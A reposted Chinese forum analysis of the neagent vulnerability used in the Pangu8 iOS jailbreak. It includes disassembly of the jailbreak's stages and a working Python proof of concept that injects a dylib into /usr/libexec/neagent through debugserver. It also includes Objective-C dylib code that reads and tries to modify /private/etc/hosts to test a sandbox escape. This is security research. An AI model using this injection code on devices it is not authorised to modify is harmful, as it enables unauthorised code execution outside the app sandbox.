Pangu8越狱中所用 /usr/libexec/neagent 漏洞原理分析

应snakeninny要转载一份,原文发表于看雪,并补充3楼关于debugserver的实验dylib代码。
标 题: 【原创】Pangu8越狱中所用 /usr/libexec/neagent 漏洞原理分析
作 者: 木桩
时 间: 2014-12-12,21:07:13
链 接: http://bbs.pediy.com/showthread.php?t=195495

这段时间对Pangu8越狱时所用的漏洞比较感兴趣,不过搜到的基本只有所使用漏洞的列表

经过几天的折腾,算是弄明白其中neagent漏洞的利用方法,并用Python验证了注入过程。
不过个人水平有限,越看Pangu8的细节疑问越多,希望能够借此抛砖引玉讨论下其他漏洞细节。如果其中有什么疏漏之处,希望各位大侠轻拍板砖

另外感谢jerryxjtu兄的指点,研究了几天libimobiledevice确实大有收获。为了方便调试com.apple.debugserver服务,也试着写了下Python版的debugserver.pxi并merge到了libimobiledevice:master。有兴趣使用Python版DebugServerClient的同学,可以参考这个例子:从远程启动目标App。


能查到的关于neagent这个漏洞,最早是@iH8sn0w在Twitter上提到的:https://twitter.com/ih8sn0w/status/524968711636418560

不过搜不到其他有用的信息。本着自己动手丰衣足食的想法,打算跟踪下Pangu8来看看neagent到底是怎么回事。不过看到Pangu8_v1.2.1.exe是VMP壳瞬间一头包,还好后面发现有个MacOS版的没有加壳,方便提取Payload

参考分析Evasi0n7的方法用jtool对Pangu8主程序进行解包,原始Payload在 __TEXT.__objc_cons1 ~ __TEXT.__objc_cons7 中;
用md5和机器中文件对比了下,定位了大致每个Payload的内容。详细jtool用法可以看附件里的解包脚本Pangu8_extract_payload.sh
(ps:有人知道__TEXT.__objc_cons1里是什么内容吗?用binwalk只知道里面有三个bzip的头部)

接着就是拿出IDA看Pangu8的主程序了,按照里面的字符串可以将越狱分为开始,6个准备阶段,2个注入阶段以及清理阶段:

__cstring:0000000100046A21 aStartJailbreak db 'Start jailbreak ..',0
__cstring:0000000100046AF3 aPreparingTheEn db 'Preparing the environment (1/6)',0
__cstring:000000010004708C aPreparingThe_2 db 'Preparing the environment (2/6)',0
__cstring:00000001000470AC aPreparingThe_3 db 'Preparing the environment (3/6)',0
__cstring:000000010004724D aPreparingThe_4 db 'Preparing the environment (4/6)',0
__cstring:0000000100046B68 aPreparingThe_0 db 'Preparing the environment (5/6)',0
__cstring:0000000100046B88 aPreparingThe_1 db 'Preparing the environment (6/6)',0
__cstring:0000000100046BA8 aInjecting12    db 'Injecting (1/2)',0
__cstring:0000000100046BEA aInjecting22    db 'Injecting (2/2)',0
__cstring:0000000100046BFA aFinalCleaning_ db 'Final cleaning...',0

# 'Start jailbreak …'

开始越狱阶段,先通过afc服务在建立 /Pangu-Install/ 目录:

# afc_make_directory(client, “/Pangu-Install/”)
__text:000000010002C5AC                 mov     rsi, cs:off_102502328 ; "/Pangu-Install/"
__text:000000010002C5B3                 call    _afc_make_directory

接着写入Payload里4个tar文件:(不勾选pphelper.tar的话)

$ ls /private/var/mobile/Media/Pangu-Install/
Cydia.tar  packagelist.tar  pangu.tar  pangu_ex.tar

**

‘Preparing the environment (1/6)’**

准备阶段1,通过afc服务上传IPA,并通过installation_proxy的标准方式安装目标APP。这里IPA的企业版证书就不多说了,(As of now incomplete) Writeup of Pangu 里面详细介绍过为什么要调时间。

# 如果不存在,则创建PublicStaging/目录
__text:000000010002A982                 lea     rsi, aPublicstaging ; "PublicStaging"
__text:000000010002A989                 call    _afc_make_directory

# 写入PublicStaging/<timestamp>.ipa
__text:000000010002A9D6                 mov     rdi, [rbp+var_40]
__text:000000010002A9DA                 mov     rsi, [rbp+var_30] ; "PublicStaging/<timestamp>.ipa"
__text:000000010002A9DE                 lea     rcx, [rbp+var_38]
__text:000000010002A9E2                 mov     edx, 3
__text:000000010002A9E7                 call    _afc_file_open

# 调用com.apple.mobile.installation_proxy服务进行安装
__text:000000010002AA7B                 lea     rsi, aCom_apple_mo_3 ; "com.apple.mobile.installation_proxy"
__text:000000010002AA82                 lea     rdx, _instproxy_client_new

用Python重现该安装过程可以看这个脚本:afc_and_instproxy_upgrade_ipa.py

这里安装的 pangunew.ipa 里带有关键的 xuanyuansword.dylib,将在准备阶段2里用到。

# ’Preparing the environment (2/6)'

准备阶段2,通过debugserver注入刚才IPA里带的xuanyuansword.dylib到/usr/libexec/neagent。当然之前还有mount开发者镜像的工作,常规的mobile_image_mounter_upload_image/mobile_image_mounter_mount_image不是此次越狱的重点,就pass了。

其中的关键步骤如下:
[list=1]
*]使用 instproxy_client_get_path_for_bundle_identifier 获取app的路径(之前安装的IPA);
*]找到其中的 xuanyuansword.dylib 并拼接成参数字符串:DYLD_INSERT_LIBRARIES=%s/xuanyuansword.dylib
*]使用 debugserver_client_set_argv 启动 /usr/libexec/neagent,当然环境变量加上上面的DYLD_INSERT_LIBRARIES;
[/list]
这里就有个疑问了,为什么是用debugserver启动/usr/libexec/neagent注入dylib,它有什么特殊吗?
ldid -e查看entitlements.xml:

com.apple.private.skip-library-validation 估计这是加载dylib的关键了。不过这个skip-library-validation资料不多,只能从名字上推测是不检查DYLD_INSERT_LIBRARIES注入的dylib,难道是apple的开发为了方便调试加的?


漏洞重现

看完反汇编的代码后还是对neagent加载dylib原理不明所以,于是自己用Python写了一遍用来验证漏洞的利用过程:

#!/usr/bin/env python

import os
import sys
import time
import plist
from imobiledevice import *

# mount /Developer image before test
# ideviceimagemounter /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/8.0/DeveloperDiskImage.dmg{,.signature}

def lockdown_get_service_client(service_class):
  ld = LockdownClient(iDevice())
  return ld.get_service_client(service_class)

def get_pangunew_Container(bundle_id="com.pangu.ipa1"):
  instproxy = lockdown_get_service_client(InstallationProxyClient)
  client_options = plist.Dict({
    "ApplicationType": "User",
    "ReturnAttributes": plist.Array(
      "CFBundleIdentifier",
      "CFBundleExecutable",
      "Container",
    ]),
  })
  result_list = instproxy.browse(client_options)
  for app in result_list:
    if app"CFBundleIdentifier"] == bundle_id:
      return "%s" % app"Container"]
  return ""

def get_pangunew_Path(bundle_id="com.pangu.ipa1"):
  instproxy = lockdown_get_service_client(InstallationProxyClient)
  return instproxy.get_path_for_bundle_identifier(bundle_id)

def debugserver_inject_neagent(app_container, app_path, dylib):
  debugserver = lockdown_get_service_client(DebugServerClient)

  with DebugServerCommand("QSetWorkingDir:", 1, [app_container]) as cmd:
    print debugserver.send_command(cmd)

  print debugserver.set_environment_hex_encoded("DYLD_INSERT_LIBRARIES=%s/%s" % (app_path, dylib))
  print debugserver.set_argv(1, "/usr/libexec/neagent"])

def main():
  bundle_id = "com.pangu.ipa1"
  #dylib = "xuanyuansword.dylib"
  dylib = "demo_dylib.dylib"

  app_container = get_pangunew_Container(bundle_id)
  print "Container: %s" % app_container
  app_path = get_pangunew_Path(bundle_id)
  app_path = os.path.dirname(app_path)
  print "Path: %s" % app_path

  debugserver_inject_neagent(app_container, app_path, dylib)

if __name__ == '__main__':
  main()

[list=1]
*]首先在 get_pangunew_Container() 里,通过 InstallationProxyClient 获取com.pangu.ipa1的Container目录,作为neagent的WorkingDir。这里参考Pangu8里筛选ReturnAttributes,不过因为pangunew.app是用户程序,所以只用browse(ApplicationType=User)的应用就可以了。
*]通过 get_pangunew_Path() 获取com.pangu.ipa1的Path,用来拼接dylib的绝对路径。其实这里在之前取Container时就可以直接获取到Path,不过还是按照Pangu8的换用InstallationProxyClient实现了下。
*]最后用 DebugServerClient 设置环境变量并启动neagent。
[/list]
不过调试时发现neagent是没有get-task-allow=true的,不过既然dylib被加载,那么应该是从**__DATA,__mod_init_func**开始执行的,看了下xuanyuansword.dylib也确实如此。

写了个验证用的demo_dylib.dylib,代码如下:

// __DATA,__mod_init_func
__attribute__((constructor))
void demo_main()
{
    NSLog(@"demo dylib loaded");
}

编译后查看 __DATA,__mod_init_func 指向demo_main。复制到com.pangu.ipa1的Path路径下,运行后用idevicesyslog就可以看到输出了:

注:正常情况下neagent注入执行完__mod_init_func后会被debugserver给kill掉。如果启动后neagent crash了,请检查dylib的路径是否有效,以及是否有chmod +x


补充关于"a sandboxing problem in debugserver (CVE-2014-4457)"的说明:

推测这个debugserver绕过沙盒漏洞,是说在pangunew.app安装目录下的dylib,注入neagent后可以访问pangunew.app的Container/之外路径。修改注入的dylib为下面这样:

#include <errno.h>

#define MAX_READ_LINE (256)

// __DATA,__mod_init_func
__attribute__((constructor))
void mod_init_main()
{
  NSLog(@"+] mod_init_main: dylib loaded");

  FILE *pFile;
  char buffer[MAX_READ_LINE] = {0};

  NSLog(@"-] try read system file");
  pFile = fopen("/private/etc/hosts", "r");
  if (pFile == NULL) {
    NSLog(@"-] open read failed: %s", strerror(errno));
  } else {
    while (!feof(pFile)) {
      if ( fgets (buffer, MAX_READ_LINE, pFile) != NULL )
        NSLog(@"%s", buffer);
    }
    fclose(pFile);
  }

  NSLog(@"-] try write system file");
  pFile = fopen("/private/etc/hosts", "a");
  if (pFile == NULL) {
    NSLog(@"-] open write failed: %s", strerror(errno));
  } else {
    NSLog(@"-] append '127.0.0.1 www.baidu.com' to hosts.");
    fprintf(pFile, "127.0.0.1 www.baidu.com");
    fclose(pFile);
  }

  NSLog(@"+] mod_init_main: end");
}

// vim:ft=objc

测试对 /private/etc/hosts 的读取是有权限的,不过系统分区是只读的mount,所以后面追加写会失败。

1 个赞